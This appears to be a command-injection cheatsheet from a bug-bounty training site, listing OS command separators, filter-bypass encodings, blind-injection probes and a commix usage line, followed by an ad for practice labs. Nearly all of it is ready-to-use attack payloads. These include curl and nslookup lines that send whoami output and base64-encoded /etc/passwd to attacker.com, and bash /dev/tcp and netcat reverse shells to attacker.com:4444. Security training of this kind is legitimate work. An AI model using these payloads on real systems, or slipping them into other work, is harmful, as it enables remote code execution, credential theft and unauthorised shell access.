Command Injection Cheatsheet
OS Command Injection
Quick reference
- →Try separators in order: ||, &&, ;, |, %0a, backticks, $()
- →For blind command injection, always use a time delay as the first confirmation
- →$IFS and wildcards (/???/??t) allow bypassing space and command filters
- →The 25 most vulnerable parameters: cmd, exec, command, ping, query, code, func, arg
- →Command injection in filename is an underrated vector — always test it in uploads
Command separators
Pipe
| id
Double pipe (OR)
|| id
Ampersand
& id
Double ampersand (AND)
&& id
Semicolon
; id
NewlineURL-encoded newline
%0A id
Backticks (Unix)
`id`
Dollar subshell (Unix)
$(id)
Payloads with spacing variants
Pipe with varied spacing
ls||id; ls ||id; ls|| id; ls || id
Ampersand with spacing
ls&&id; ls &&id; ls&& id; ls && id
IFS as separator$IFS is bash's internal field separator
ls${IFS}idEmpty variable as space
ls${LS_COLORS:10:1}${IFS}idTab as space
cat%09/etc/passwd
Blind command injection
Time delay (sleep)If the response takes 5 seconds = vulnerable
|| sleep 5
Time delay (ping)
|| ping -c 5 127.0.0.1
DNS callback (exfiltration)
|| curl http://$(whoami).attacker.com
HTTP callback
|| curl http://attacker.com/?d=$(cat /etc/passwd | base64)
Output redirectionThen access /output.txt from the browser
|| whoami > /var/www/html/output.txt
Nslookup exfiltration
|| nslookup $(whoami).attacker.com
Filter bypass
Quotes to break up the commandSingle quotes inside the command get concatenated
w'h'o'a'm'i
Double quotes
w"h"o"a"m"i"
Backslash
w\h\o\a\m\i
Environment variableWildcards: /bin/cat /etc/passwd
/???/??t /???/p??s??
Base64 encoded2hvYW1p = whoami in base64
echo d2hvYW1p | base64 -d | bash
Hex encode
echo -e '\x77\x68\x6f\x61\x6d\x69' | bash
Injection vectors
Command injection in filenameTry in upload forms when the server processes the filename
filename="test || sleep 30 ||.gif"
Java null byte separationJava uses null bytes to separate process arguments
?prefix=x%00--exec=/bin/bash%20-c%20'id'%00--remote=file:///%00x
Reverse shell (bash)
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Reverse shell (netcat)
; nc -e /bin/bash attacker.com 4444
Tools
commix
Automated command injection detection and exploitation tool
python3 commix.py -u "https://target.com/ping?ip=127.0.0.1" --batch
Burp Collaborator
Callback server to confirm blind command injection via DNS/HTTP
Burp Suite > Burp Collaborator Client
Interactsh
Open-source alternative to Burp Collaborator for OOB callbacks
interactsh-client -v
Related content
Ready to practice?
Put these payloads to work in real labs based on bug bounty reports.
See practice labs- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Stop reading about bugs and start hunting them
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime